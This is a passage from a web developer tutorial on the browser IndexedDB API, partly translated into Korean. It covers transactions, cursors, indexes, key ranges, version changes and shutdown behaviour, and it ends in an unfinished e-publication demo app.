계속해서 트랜잭션을 사용하기 위해서는 트랜잭션의 생애 주기에 대해 이해할 필요가 있습니다. 트랜잭션은 이벤트 루프(Event loop)와 매우 밀접하게 연관되어 있습니다. 만일 당신이 트랜잭션을 만들어 놓고 사용하지 않은 채 이벤트 루프로 돌아가게 된다면 트랜잭션은 비활성화 상태가 됩니다. 트랜잭션을 활성화 상태로 유지하는 유일한 방법은 트랜잭션에 그것을 요청하는 것 뿐입니다. 요청이 완료되면 DOM 이벤트가 발생하며, 트랜잭션에 대한 요청이 성공했다는 가정 하에 해당 요청에 대한 콜백(Callback)이 일어나기 전까지 트랜잭션의 수명을 연장할 수 있습니다.  만일 당신이 트랜잭션에 대한 연장 요청 없이 이벤트 루프로 돌아가려 한다면  트랜잭션은 곧 비활성화가 된 후, 계속해서 비활성 상태를 유지할 것입니다. 트랜잭션에 대한 요청이 계속되는 한 트랜잭션은 활성화 상태를 유지합니다. 트랜잭션의 생애 주기는 매우 단순하지만 당신이 이에 적응하는 데에는 다소 시간이 걸릴 수 있습니다. 다른 예제 몇 개를 더 확인하는 것을 권장합니다. 만일 당신의 프로그램에서 TRANSACTION_INACTIVE_ERR 라는 에러 코드가 나타나기 시작한다면, 뭔가 잘못되기 시작한 것입니다.

+ +

트랜잭션은 다음 세 개의 DOM 이벤트를 받을 수 있습니다: error, abort, 그리고 complete. 우리는 error 이벤트가 어떻게 버블링되는지에 대해 이미 이야기했으며, 이에 따라서 트랜잭션은 요청으로부터 발생하는 모든 에러 이벤트를 받아들입니다. 여기서 더욱 애매한 점은 에러를 처리하는 가장 기본적인 방식이 에러가 발생한 트랜잭션을 취소하는 것이라는 점입니다. 당신이 우선 stopPropagation()을 이용해 에러를 처리하고 난 후에 다른 행동을 하려고 해도, 전체 트랜잭션은 이미 롤백된 상황일 것입니다. 이러한 디자인은 당신이 에러 처리에 대해서 생각하도록 강제하지만, 만일 잘 정제된 에러 핸들링을 모든 트랜잭션에 만드는 것이 너무 번거롭다면 당신은 데이터베이스에 항상 캐치올 에러 핸들러(catchall error handler)를 추가하도록 설정할 수 있습니다. 당신이 만약 에러를 제어하지 않았거나 트랜잭션에서  abort()를 호출할 경우, 트랜잭션은 롤백되고 abort 이벤트는 취소될 것입니다. 반면, 트랜잭션에 대한 모든 요청이 정상적으로 처리되었을 경우엔 complete 이벤트를 반환합니다. 만일 당신이 매우 많은 데이터베이스 작업을 수행하고 있다면, 데이터베이스에 대한 개별 요청을 추적하는것보단 트랜잭션을 추적하는 것이 정신 건강에 이로울 것입니다.

+ +

이제 당신이 트랜잭션을 만들었고, 당신은 그 트랜잭션을 통해 오브젝트 스토어에 접근해야 하는 상황이라고 가정해 봅시다. 트랜잭션은 당신이 트랜잭션을 만들 때 지정한 오브젝트 스토어만 사용할 수 있게 해줍니다. 그러고 나면 당신은 원하는 모든 데이터를 그곳에 추가할 수 있습니다.

+ +
// Do something when all the data is added to the database.
+transaction.oncomplete = function(event) {
+  alert("All done!");
+};
+
+transaction.onerror = function(event) {
+  // Don't forget to handle errors!
+};
+
+var objectStore = transaction.objectStore("customers");
+for (var i in customerData) {
+  var request = objectStore.add(customerData[i]);
+  request.onsuccess = function(event) {
+    // event.target.result == customerData[i].ssn
+  };
+}
+ +

호출에서 add()까지의 과정에서 생성된 트랜잭션의 result는 추가된 데이터의 키와 같습니다. 따라서 이 경우, 오브젝트 스토어가 ssn 속성을 키 패스로 사용하기 때문에 추가된 데이터의 ssn 속성과 같은 값을 가질 것입니다. add() 함수를 사용할 때 같은 키를 가진 데이터가 데이터베이스 안에 존재하지 않아야 한다는 점에 주의하십시오. 만일 당신이 이미 존재하는 데이터를 수정하고 싶거나, 혹은 이미 데이터가 있건 말건 상관 없다면 문서 아래쪽의 {{ anch("Updating an entry in the database") }} 부분에서 소개하는 put() 함수를 사용하십시오. 

+ +

데이터베이스로부터 데이터를 지우기

+ +

데이터 삭제는 아주 익숙한 그 방식대로 하시면 됩니다:

+ +
var request = db.transaction(["customers"], "readwrite")
+                .objectStore("customers")
+                .delete("444-44-4444");
+request.onsuccess = function(event) {
+  // It's gone!
+};
+ +

데이터베이스로부터 데이터 가져오기

+ +

이제 데이터베이스 안에 정보도 들어 있겠다, 몇 가지 방법을 통해 정보를 가져와 봅시다. 가장 먼저, 가장 단순한 get()을 사용해 봅시다. 데이터를 가져오기 위해 당신은 키를 제공해야합니다. 이렇게:

+ +
var transaction = db.transaction(["customers"]);
+var objectStore = transaction.objectStore("customers");
+var request = objectStore.get("444-44-4444");
+request.onerror = function(event) {
+  // Handle errors!
+};
+request.onsuccess = function(event) {
+  // Do something with the request.result!
+  alert("Name for SSN 444-44-4444 is " + request.result.name);
+};
+ +

"단순히" 가져오는 것 치고는 코드가 좀 많군요. 당신이 데이터베이스 수준에서 에러를 제어하고 있다면, 아래와 같이 간략화할 수도 있습니다:

+ +
db.transaction("customers").objectStore("customers").get("444-44-4444").onsuccess = function(event) {
+  alert("Name for SSN 444-44-4444 is " + event.target.result.name);
+};
+ +

어떻게 작동하는지 보이시나요? 오브젝트 스토어가 하나 뿐이기 때문에, 당신의 트랜잭션에서 필요한 오브젝트 스토어들의 리스트를 보낼 필요 없이 그냥 이름만 String으로 보내면 됩니다. 또한, 당신은 데이터베이스에서 읽기만 했기 때문에,  "readwrite" 트랜잭션은 필요하지 않습니다. transaction()을 특정한 모드 설정 없이 그냥 부를 경우엔 기본적으로 "readonly" 트랜잭션이 됩니다. 또 하나 신비한 점은 당신은 요청한 오브젝트를 따로 특정한 변수에 저장하지 않았다는 점입니다. DOM 이벤트는 요청을 대상으로 할 때 이벤트를 사용하여 result의 값을 불러올 수 있습니다.

+ +

범위 제한과 모드 설정에 따라 데이터 접근 속도를 빠르게 할 수 있다는 점을 주목하십시오. 여기 몇개의 팁이 있습니다:

+ + + +

데이터베이스의 내용을 업데이트하기

+ +

이제 우리는 몇 개의 데이터를 꺼냈습니다. 이 데이터를 업데이트하고 다시 IndexedDB에 집어넣는 것은 매우 간단합니다. 이전 예제를 약간 업데이트해 봅시다:

+ +
var objectStore = db.transaction(["customers"], "readwrite").objectStore("customers");
+var request = objectStore.get("444-44-4444");
+request.onerror = function(event) {
+  // Handle errors!
+};
+request.onsuccess = function(event) {
+  // Get the old value that we want to update
+  var data = event.target.result;
+
+  // update the value(s) in the object that you want to change
+  data.age = 42;
+
+  // Put this updated object back into the database.
+  var requestUpdate = objectStore.put(data);
+   requestUpdate.onerror = function(event) {
+     // Do something with the error
+   };
+   requestUpdate.onsuccess = function(event) {
+     // Success - the data is updated!
+   };
+};
+ +

이제 우리는 objectStore를 만들고 사회보장번호(SSN)가 (444-44-4444)인 고객 레코드를 요청했습니다. 그리고 우리는 그 결과를 변수(data)에 넣고, 이 객체의 age 속성을 업데이트하여, 두 번째 요청(requestUpdate)을 만들어 고객 레코드를 다시 objectStore에 집어넣어 이전 값을 덮어썼습니다.

+ +
+

Note: 이 때 우리는 readwrite 모드를 사용해야 합니다. 우리가 지금 한 것은 단순히 데이터를 읽어오는 게 아니라, 다시 쓰는 것이기 때문입니다.

+
+ +

Using a cursor

+ +

Using get() requires that you know which key you want to retrieve. If you want to step through all the values in your object store, then you can use a cursor. Here's what it looks like:

+ +
var objectStore = db.transaction("customers").objectStore("customers");
+
+objectStore.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    alert("Name for SSN " + cursor.key + " is " + cursor.value.name);
+    cursor.continue();
+  }
+  else {
+    alert("No more entries!");
+  }
+};
+ +

The openCursor() function takes several arguments. First, you can limit the range of items that are retrieved by using a key range object that we'll get to in a minute. Second, you can specify the direction that you want to iterate. In the above example, we're iterating over all objects in ascending order. The success callback for cursors is a little special. The cursor object itself is the result of the request (above we're using the shorthand, so it's event.target.result). Then the actual key and value can be found on the key and value properties of the cursor object. If you want to keep going, then you have to call continue() on the cursor. When you've reached the end of the data (or if there were no entries that matched your openCursor() request) you still get a success callback, but the result property is undefined.

+ +

One common pattern with cursors is to retrieve all objects in an object store and add them to an array, like this:

+ +
var customers = [];
+
+objectStore.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    customers.push(cursor.value);
+    cursor.continue();
+  }
+  else {
+    alert("Got all customers: " + customers);
+  }
+};
+ +
+

Note: Mozilla has also implemented getAll() to handle this case (and getAllKeys(), which is currently hidden behind the dom.indexedDB.experimental preference in about:config). These aren't part of the IndexedDB standard, so they may disappear in the future. We've included them because we think they're useful. The following code does precisely the same thing as above:

+ +
objectStore.getAll().onsuccess = function(event) {
+  alert("Got all customers: " + event.target.result);
+};
+ +

There is a performance cost associated with looking at the value property of a cursor, because the object is created lazily. When you use getAll() for example, Gecko must create all the objects at once. If you're just interested in looking at each of the keys, for instance, it is much more efficient to use a cursor than to use getAll(). If you're trying to get an array of all the objects in an object store, though, use getAll().

+
+ +

Using an index

+ +

Storing customer data using the SSN as a key is logical since the SSN uniquely identifies an individual. (Whether this is a good idea for privacy is a different question, outside the scope of this article.) If you need to look up a customer by name, however, you'll need to iterate over every SSN in the database until you find the right one. Searching in this fashion would be very slow, so instead you can use an index.

+ +
// First, make sure you created index in request.onupgradeneeded:
+// objectStore.createIndex("name", "name");
+// Otherwize you will get DOMException.
+
+var index = objectStore.index("name");
+
+index.get("Donna").onsuccess = function(event) {
+  alert("Donna's SSN is " + event.target.result.ssn);
+};
+ +

The "name" cursor isn't unique, so there could be more than one entry with the name set to "Donna". In that case you always get the one with the lowest key value.

+ +

If you need to access all the entries with a given name you can use a cursor. You can open two different types of cursors on indexes. A normal cursor maps the index property to the object in the object store. A key cursor maps the index property to the key used to store the object in the object store. The differences are illustrated here:

+ +
// Using a normal cursor to grab whole customer record objects
+index.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // cursor.key is a name, like "Bill", and cursor.value is the whole object.
+    alert("Name: " + cursor.key + ", SSN: " + cursor.value.ssn + ", email: " + cursor.value.email);
+    cursor.continue();
+  }
+};
+
+// Using a key cursor to grab customer record object keys
+index.openKeyCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // cursor.key is a name, like "Bill", and cursor.value is the SSN.
+    // No way to directly get the rest of the stored object.
+    alert("Name: " + cursor.key + ", SSN: " + cursor.primaryKey);
+    cursor.continue();
+  }
+};
+ +

Specifying the range and direction of cursors

+ +

If you would like to limit the range of values you see in a cursor, you can use a key range object and pass it as the first argument to openCursor() or openKeyCursor(). You can make a key range that only allows a single key, or one the has a lower or upper bound, or one that has both a lower and upper bound. The bound may be "closed" (i.e., the key range includes the given value) or "open" (i.e., the key range does not include the given value). Here's how it works:

+ +
// Only match "Donna"
+var singleKeyRange = IDBKeyRange.only("Donna");
+
+// Match anything past "Bill", including "Bill"
+var lowerBoundKeyRange = IDBKeyRange.lowerBound("Bill");
+
+// Match anything past "Bill", but don't include "Bill"
+var lowerBoundOpenKeyRange = IDBKeyRange.lowerBound("Bill", true);
+
+// Match anything up to, but not including, "Donna"
+var upperBoundOpenKeyRange = IDBKeyRange.upperBound("Donna", true);
+
+// Match anything between "Bill" and "Donna", but not including "Donna"
+var boundKeyRange = IDBKeyRange.bound("Bill", "Donna", false, true);
+
+// To use one of the key ranges, pass it in as the first argument of openCursor()/openKeyCursor()
+index.openCursor(boundKeyRange).onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the matches.
+    cursor.continue();
+  }
+};
+ +

Sometimes you may want to iterate in descending order rather than in ascending order (the default direction for all cursors). Switching direction is accomplished by passing prev to the openCursor() function:

+ +
objectStore.openCursor(boundKeyRange, "prev").onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};
+ +

If you just want to specify a change of direction but not constrain the results shown, you can just pass in null as the first argument:

+ +
objectStore.openCursor(null, "prev").onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};
+ +

Since the "name" index isn't unique, there might be multiple entries where name is the same. Note that such a situation cannot occur with object stores since the key must always be unique. If you wish to filter out duplicates during cursor iteration over indexes, you can pass nextunique (or prevunique if you're going backwards) as the direction parameter. When nextunique or prevunique is used, the entry with the lowest key is always the one returned.

+ +
index.openKeyCursor(null, "nextunique").onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};
+ +

Please see "IDBCursor Constants" for the valid direction arguments.

+ +

Version changes while a web app is open in another tab

+ +

When your web app changes in such a way that a version change is required for your database, you need to consider what happens if the user has the old version of your app open in one tab and then loads the new version of your app in another. When you call open() with a greater version than the actual version of the database, all other open databases must explicitly acknowledge the request before you can start making changes to the database. Here's how it works:

+ +
var openReq = mozIndexedDB.open("MyTestDatabase", 2);
+
+openReq.onblocked = function(event) {
+  // If some other tab is loaded with the database, then it needs to be closed
+  // before we can proceed.
+  alert("Please close all other tabs with this site open!");
+};
+
+openReq.onupgradeneeded = function(event) {
+  // All other databases have been closed. Set everything up.
+  db.createObjectStore(/* ... */);
+  useDatabase(db);
+}
+
+openReq.onsuccess = function(event) {
+  var db = event.target.result;
+  useDatabase(db);
+  return;
+}
+
+function useDatabase(db) {
+  // Make sure to add a handler to be notified if another page requests a version
+  // change. We must close the database. This allows the other page to upgrade the database.
+  // If you don't do this then the upgrade won't happen until the user close the tab.
+  db.onversionchange = function(event) {
+    db.close();
+    alert("A new version of this page is ready. Please reload!");
+  };
+
+  // Do stuff with the database.
+}
+
+ +

You should also listen for VersionError errors to handle the situation where already opened apps may initiate code leading to a new attempt to open the database, but using an outdated version.

+ +

Security

+ +

IndexedDB uses the same-origin principle, which means that it ties the store to the origin of the site that creates it (typically, this is the site domain or subdomain), so it cannot be accessed by any other origin.

+ +

Third party window content (e.g. {{htmlelement("iframe")}} content) can access the IndexedDB store for the origin it is embedded into, unless the browser is set to never accept third party cookies (see {{bug("1147821")}}.)

+ +

Warning about browser shutdown

+ +

When the browser shuts down (because the user chose the Quit or Exit option), the disk containing the database is removed unexpectedly, or permissions are lost to the database store, the following things happen:

+ +
    +
  1. Each transaction on every affected database (or all open databases, in the case of browser shutdown) is aborted with an AbortError. The effect is the same as if {{domxref("IDBTransaction.abort()")}} is called on each transaction.
  2. +
  3. Once all of the transactions have completed, the database connection is closed.
  4. +
  5. Finally, the {{domxref("IDBDatabase")}} object representing the database connection receives a {{event("close")}} event. You can use the {{domxref("IDBDatabase.onclose")}} event handler to listen for these events, so that you know when a database is unexpectedly closed.
  6. +
+ +

The behavior described above is new, and is only available as of the following browser releases: Firefox 50, Google Chrome 31 (approximately).

+ +

Prior to these browser versions, the transactions are aborted silently, and no {{event("close")}} event is fired, so there is no way to detect an unexpected database closure.

+ +

Since the user can exit the browser at any time, this means that you cannot rely upon any particular transaction to complete, and on older browsers, you don't even get told when they don't complete. There are several implications of this behavior.

+ +

First, you should take care to always leave your database in a consistent state at the end of every transaction. For example, suppose that you are using IndexedDB to store a list of items that you allow the user to edit. You save the list after the edit by clearing the object store and then writing out the new list. If you clear the object store in one transaction and write the new list in another transaction, there is a danger that the browser will close after the clear but before the write, leaving you with an empty database. To avoid this, you should combine the clear and the write into a single transaction. 

+ +

Second, you should never tie database transactions to unload events. If the unload event is triggered by the browser closing, any transactions created in the unload event handler will never complete. An intuitive approach to maintaining some information across browser sessions is to read it from the database when the browser (or a particular page) is opened, update it as the user interacts with the browser, and then save it to the database when the browser (or page) closes. However, this will not work. The database transactions will be created in the unload event handler, but because they are asynchronous they will be aborted before they can execute.

+ +

In fact, there is no way to guarantee that IndexedDB transactions will complete, even with normal browser shutdown. See {{ bug(870645) }}. As a workaround for this normal shutdown notification, you might track your transactions and add a beforeunload event to warn the user if any transactions have not yet completed at the time of unloading.

+ +

At least with the addition of the abort notifications and {{domxref("IDBDatabase.onclose")}}, you can know when this has happened.

+ +

Locale-aware sorting

+ +

Mozilla has implemented the ability to perform locale-aware sorting of IndexedDB data in Firefox 43+. By default, IndexedDB didn’t handle internationalization of sorting strings at all, and everything was sorted as if it were English text. For example, b, á, z, a would be sorted as:

+ + + +

which is obviously not how users want their data to be sorted — Aaron and Áaron for example should go next to one another in a contacts list. Achieving proper international sorting therefore required the entire dataset to be called into memory, and sorting to be performed by client-side JavaScript, which is not very efficient.

+ +

This new functionality enables developers to specify a locale when creating an index using {{domxref("IDBObjectStore.createIndex()")}} (check out its parameters.) In such cases, when a cursor is then used to iterate through the dataset, and you want to specify locale-aware sorting, you can use a specialized {{domxref("IDBLocaleAwareKeyRange")}}.

+ +

{{domxref("IDBIndex")}} has also had new properties added to it to specify if it has a locale specified, and what it is: locale (returns the locale if any, or null if none is specified) and isAutoLocale (returns true if the index was created with an auto locale, meaning that the platform's default locale is used, false otherwise.)

+ +
+

Note: This feature is currently hidden behind a flag — to enable it and experiment, go to about:config and enable dom.indexedDB.experimental.

+
+ +

Full IndexedDB example

+ +

HTML Content

+ +
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
+
+    <h1>IndexedDB Demo: storing blobs, e-publication example</h1>
+    <div class="note">
+      <p>
+        Works and tested with:
+      </p>
+      <div id="compat">
+      </div>
+    </div>
+
+    <div id="msg">
+    </div>
+
+    <form id="register-form">
+      <table>
+        <tbody>
+          <tr>
+            <td>
+              <label for="pub-title" class="required">
+                Title:
+              </label>
+            </td>
+            <td>
+              <input type="text" id="pub-title" name="pub-title" />
+            </td>
+          </tr>
+          <tr>
+            <td>
+              <label for="pub-biblioid" class="required">
+                Bibliographic ID:<br/>
+                <span class="note">(ISBN, ISSN, etc.)</span>
+              </label>
+            </td>
+            <td>
+              <input type="text" id="pub-biblioid" name="pub-biblioid"/>
+            </td>
+          </tr>
+          <tr>
+            <td>
+              <label for="pub-year">
+                Year:
+              </label>
+            </td>
+            <td>
+              <input type="number" id="pub-year" name="pub-year" />
+            </td>
+          </tr>
+        </tbody>
+        <tbody>
+          <tr>
+            <td>
+              <label for="pub-file">
+                File image:
+              </label>
+            </td>
+            <td>
+              <input type="file" id="pub-file"/>
+            </td>
+          </tr>
+          <tr>
+            <td>
+              <label for="pub-file-url">
+                Online-file image URL:<br/>
+                <span class="note">(same origin URL)</span>
+              </label>
+            </td>
+            <td>
+              <input type="text" id="pub-file-url" name="pub-file-url"/>
+            </td>
+          </tr>
+        </tbody>
+      </table>
+
+      <div class="button-pane">
+        <input type="button" id="add-button" value="Add Publication" />
+        <input type="reset" id="register-form-reset"/>
+      </div>
+    </form>
+
+    <form id="delete-form">
+      <table>
+        <tbody>
+          <tr>
+            <td>
+              <label for="pub-biblioid-to-delete">
+                Bibliographic ID:<br/>
+                <span class="note">(ISBN, ISSN, etc.)</span>
+              </label>
+            </td>
+            <td>
+              <input type="text" id="pub-biblioid-to-delete"
+                     name="pub-biblioid-to-delete" />
+            </td>
+          </tr>
+          <tr>
+            <td>
+              <label for="key-to-delete">
+                Key:<br/>
+                <span class="note">(for example 1, 2, 3, etc.)</span>
+              </label>
+            </td>
+            <td>
+              <input type="text" id="key-to-delete"
+                     name="key-to-delete" />
+            </td>
+          </tr>
+        </tbody>
+      </table>
+      <div class="button-pane">
+        <input type="button" id="delete-button" value="Delete Publication" />
+        <input type="button" id="clear-store-button"
+               value="Clear the whole store" class="destructive" />
+      </div>
+    </form>
+
+    <form id="search-form">
+      <div class="button-pane">
+        <input type="button" id="search-list-button"
+               value="List database content" />
+      </div>
+    </form>
+
+    <div>
+      <div id="pub-msg">
+      </div>
+      <div id="pub-viewer">
+      </div>
+      <ul id="pub-list">
+      </ul>
+    </div>
+ +

CSS Content

+ +
body {
+  font-size: 0.8em;
+  font-family: Sans-Serif;
+}
+
+form {
+  background-color: #cccccc;
+  border-radius: 0.3em;
+  display: inline-block;
+  margin-bottom: 0.5em;
+  padding: 1em;
+}
+
+table {
+  border-collapse: collapse;
+}
+
+input {
+  padding: 0.3em;
+  border-color: #cccccc;
+  border-radius: 0.3em;
+}
+
+.required:after {
+  content: "*";
+  color: red;
+}
+
+.button-pane {
+  margin-top: 1em;
+}
+
+#pub-viewer {
+  float: right;
+  width: 48%;
+  height: 20em;
+  border: solid #d092ff 0.1em;
+}
+#pub-viewer iframe {
+  width: 100%;
+  height: 100%;
+}
+
+#pub-list {
+  width: 46%;
+  background-color: #eeeeee;
+  border-radius: 0.3em;
+}
+#pub-list li {
+  padding-top: 0.5em;
+  padding-bottom: 0.5em;
+  padding-right: 0.5em;
+}
+
+#msg {
+  margin-bottom: 1em;
+}
+
+.action-success {
+  padding: 0.5em;
+  color: #00d21e;
+  background-color: #eeeeee;
+  border-radius: 0.2em;
+}
+
+.action-failure {
+  padding: 0.5em;
+  color: #ff1408;
+  background-color: #eeeeee;
+  border-radius: 0.2em;
+}
+
+.note {
+  font-size: smaller;
+}
+
+.destructive {
+  background-color: orange;
+}
+.destructive:hover {
+  background-color: #ff8000;
+}
+.destructive:active {
+  background-color: red;
+}
+ +

JavaScript Content

+ +
(function () {
+  var COMPAT_ENVS = [
+    ['Firefox', ">= 16.0"],
+    ['Google Chrome',
+     ">= 24.0 (you may need to get Google Chrome Canary), NO Blob storage support"]
+  ];
+  var compat = $('#compat');
+  compat.empty();
+  compat.append('<ul id="compat-list"></ul>');
+  COMPAT_ENVS.forEach(function(val, idx, array) {
+    $('#compat-list').append('<li>' + val[0] + ': ' + val[1] + '</li>');
+  });
+
+  const DB_NAME = 'mdn-demo-indexeddb-epublications';
+  const DB_VERSION = 1; // Use a long long for this value (don't use a float)
+  const DB_STORE_NAME = 'publications';
+
+  var db;
+
+  // Used to keep track of which view is displayed to avoid uselessly reloading it
+  var current_view_pub_key;
+
+  function openDb() {
+    console.log("openDb ...");
+    var req = indexedDB.open(DB_NAME, DB_VERSION);
+    req.onsuccess = function (evt) {
+      // Better use "this" than "req" to get the result to avoid problems with
+      // garbage collection.
+      // db = req.result;
+      db = this.result;
+      console.log("openDb DONE");
+    };
+    req.onerror = function (evt) {
+      console.error("openDb:", evt.target.errorCode);
+    };
+
+    req.onupgradeneeded = function (evt) {
+      console.log("openDb.onupgradeneeded");
+      var store = evt.currentTarget.result.createObjectStore(
+        DB_STORE_NAME, { keyPath: 'id', autoIncrement: true });
+
+      store.createIndex('biblioid', 'biblioid', { unique: true });
+      store.createIndex('title', 'title', { unique: false });
+      store.createIndex('year', 'year', { unique: false });
+    };
+  }
+
+  /**
+   * @param {string} store_name
+   * @param {string} mode either "readonly" or "readwrite"
+   */
+  function getObjectStore(store_name, mode) {
+    var tx = db.transaction(store_name, mode);
+    return tx.objectStore(store_name);
+  }
+
+  function clearObjectStore(store_name) {
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req = store.clear();
+    req.onsuccess = function(evt) {
+      displayActionSuccess("Store cleared");
+      displayPubList(store);
+    };
+    req.onerror = function (evt) {
+      console.error("clearObjectStore:", evt.target.errorCode);
+      displayActionFailure(this.error);
+    };
+  }
+
+  function getBlob(key, store, success_callback) {
+    var req = store.get(key);
+    req.onsuccess = function(evt) {
+      var value = evt.target.result;
+      if (value)
+        success_callback(value.blob);
+    };
+  }
+
+  /**
+   * @param {IDBObjectStore=} store
+   */
+  function displayPubList(store) {
+    console.log("displayPubList");
+
+    if (typeof store == 'undefined')
+      store = getObjectStore(DB_STORE_NAME, 'readonly');
+
+    var pub_msg = $('#pub-msg');
+    pub_msg.empty();
+    var pub_list = $('#pub-list');
+    pub_list.empty();
+    // Resetting the iframe so that it doesn't display previous content
+    newViewerFrame();
+
+    var req;
+    req = store.count();
+    // Requests are executed in the order in which they were made against the
+    // transaction, and their results are returned in the same order.
+    // Thus the count text below will be displayed before the actual pub list
+    // (not that it is algorithmically important in this case).
+    req.onsuccess = function(evt) {
+      pub_msg.append('<p>There are <strong>' + evt.target.result +
+                     '</strong> record(s) in the object store.</p>');
+    };
+    req.onerror = function(evt) {
+      console.error("add error", this.error);
+      displayActionFailure(this.error);
+    };
+
+    var i = 0;
+    req = store.openCursor();
+    req.onsuccess = function(evt) {
+      var cursor = evt.target.result;
+
+      // If the cursor is pointing at something, ask for the data
+      if (cursor) {
+        console.log("displayPubList cursor:", cursor);
+        req = store.get(cursor.key);
+        req.onsuccess = function (evt) {
+          var value = evt.target.result;
+          var list_item = $('<li>' +
+                            '[' + cursor.key + '] ' +
+                            '(biblioid: ' + value.biblioid + ') ' +
+                            value.title +
+                            '</li>');
+          if (value.year != null)
+            list_item.append(' - ' + value.year);
+
+          if (value.hasOwnProperty('blob') &&
+              typeof value.blob != 'undefined') {
+            var link = $('<a href="' + cursor.key + '">File</a>');
+            link.on('click', function() { return false; });
+            link.on('mouseenter', function(evt) {
+                      setInViewer(evt.target.getAttribute('href')); });
+            list_item.append(' / ');
+            list_item.append(link);
+          } else {
+            list_item.append(" / No attached file");
+          }
+          pub_list.append(list_item);
+        };
+
+        // Move on to the next object in store
+        cursor.continue();
+
+        // This counter serves only to create distinct ids
+        i++;
+      } else {
+        console.log("No more entries");
+      }
+    };
+  }
+
+  function newViewerFrame() {
+    var viewer = $('#pub-viewer');
+    viewer.empty();
+    var iframe = $('<iframe />');
+    viewer.append(iframe);
+    return iframe;
+  }
+
+  function setInViewer(key) {
+    console.log("setInViewer:", arguments);
+    key = Number(key);
+    if (key == current_view_pub_key)
+      return;
+
+    current_view_pub_key = key;
+
+    var store = getObjectStore(DB_STORE_NAME, 'readonly');
+    getBlob(key, store, function(blob) {
+      console.log("setInViewer blob:", blob);
+      var iframe = newViewerFrame();
+
+      // It is not possible to set a direct link to the
+      // blob to provide a mean to directly download it.
+      if (blob.type == 'text/html') {
+        var reader = new FileReader();
+        reader.onload = (function(evt) {
+          var html = evt.target.result;
+          iframe.load(function() {
+            $(this).contents().find('html').html(html);
+          });
+        });
+        reader.readAsText(blob);
+      } else if (blob.type.indexOf('image/') == 0) {
+        iframe.load(function() {
+          var img_id = 'image-' + key;
+          var img = $('<img id="' + img_id + '"/>');
+          $(this).contents().find('body').html(img);
+          var obj_url = window.URL.createObjectURL(blob);
+          $(this).contents().find('#' + img_id).attr('src', obj_url);
+          window.URL.revokeObjectURL(obj_url);
+        });
+      } else if (blob.type == 'application/pdf') {
+        $('*').css('cursor', 'wait');
+        var obj_url = window.URL.createObjectURL(blob);
+        iframe.load(function() {
+          $('*').css('cursor', 'auto');
+        });
+        iframe.attr('src', obj_url);
+        window.URL.revokeObjectURL(obj_url);
+      } else {
+        iframe.load(function() {
+          $(this).contents().find('body').html("No view available");
+        });
+      }
+
+    });
+  }
+
+  /**
+   * @param {string} biblioid
+   * @param {string} title
+   * @param {number} year
+   * @param {string} url the URL of the image to download and store in the local
+   *   IndexedDB database. The resource behind this URL is subjected to the
+   *   "Same origin policy", thus for this method to work, the URL must come from
+   *   the same origin as the web site/app this code is deployed on.
+   */
+  function addPublicationFromUrl(biblioid, title, year, url) {
+    console.log("addPublicationFromUrl:", arguments);
+
+    var xhr = new XMLHttpRequest();
+    xhr.open('GET', url, true);
+    // Setting the wanted responseType to "blob"
+    // http://www.w3.org/TR/XMLHttpRequest2/#the-response-attribute
+    xhr.responseType = 'blob';
+    xhr.onload = function (evt) {
+      if (xhr.status == 200) {
+        console.log("Blob retrieved");
+        var blob = xhr.response;
+        console.log("Blob:", blob);
+        addPublication(biblioid, title, year, blob);
+      } else {
+        console.error("addPublicationFromUrl error:",
+        xhr.responseText, xhr.status);
+      }
+    };
+    xhr.send();
+
+    // We can't use jQuery here because as of jQuery 1.8.3 the new "blob"
+    // responseType is not handled.
+    // http://bugs.jquery.com/ticket/11461
+    // http://bugs.jquery.com/ticket/7248
+    // $.ajax({
+    //   url: url,
+    //   type: 'GET',
+    //   xhrFields: { responseType: 'blob' },
+    //   success: function(data, textStatus, jqXHR) {
+    //     console.log("Blob retrieved");
+    //     console.log("Blob:", data);
+    //     // addPublication(biblioid, title, year, data);
+    //   },
+    //   error: function(jqXHR, textStatus, errorThrown) {
+    //     console.error(errorThrown);
+    //     displayActionFailure("Error during blob retrieval");
+    //   }
+    // });
+  }
+
+  /**
+   * @param {string} biblioid
+   * @param {string} title
+   * @param {number} year
+   * @param {Blob=} blob
+   */
+  function addPublication(biblioid, title, year, blob) {
+    console.log("addPublication arguments:", arguments);
+    var obj = { biblioid: biblioid, title: title, year: year };
+    if (typeof blob != 'undefined')
+      obj.blob = blob;
+
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req;
+    try {
+      req = store.add(obj);
+    } catch (e) {
+      if (e.name == 'DataCloneError')
+        displayActionFailure("This engine doesn't know how to clone a Blob, " +
+                             "use Firefox");
+      throw e;
+    }
+    req.onsuccess = function (evt) {
+      console.log("Insertion in DB successful");
+      displayActionSuccess();
+      displayPubList(store);
+    };
+    req.onerror = function() {
+      console.error("addPublication error", this.error);
+      displayActionFailure(this.error);
+    };
+  }
+
+  /**
+   * @param {string} biblioid
+   */
+  function deletePublicationFromBib(biblioid) {
+    console.log("deletePublication:", arguments);
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req = store.index('biblioid');
+    req.get(biblioid).onsuccess = function(evt) {
+      if (typeof evt.target.result == 'undefined') {
+        displayActionFailure("No matching record found");
+        return;
+      }
+      deletePublication(evt.target.result.id, store);
+    };
+    req.onerror = function (evt) {
+      console.error("deletePublicationFromBib:", evt.target.errorCode);
+    };
+  }
+
+  /**
+   * @param {number} key
+   * @param {IDBObjectStore=} store
+   */
+  function deletePublication(key, store) {
+    console.log("deletePublication:", arguments);
+
+    if (typeof store == 'undefined')
+      store = getObjectStore(DB_STORE_NAME, 'readwrite');
+
+    // As per spec http://www.w3.org/TR/IndexedDB/#object-store-deletion-operation
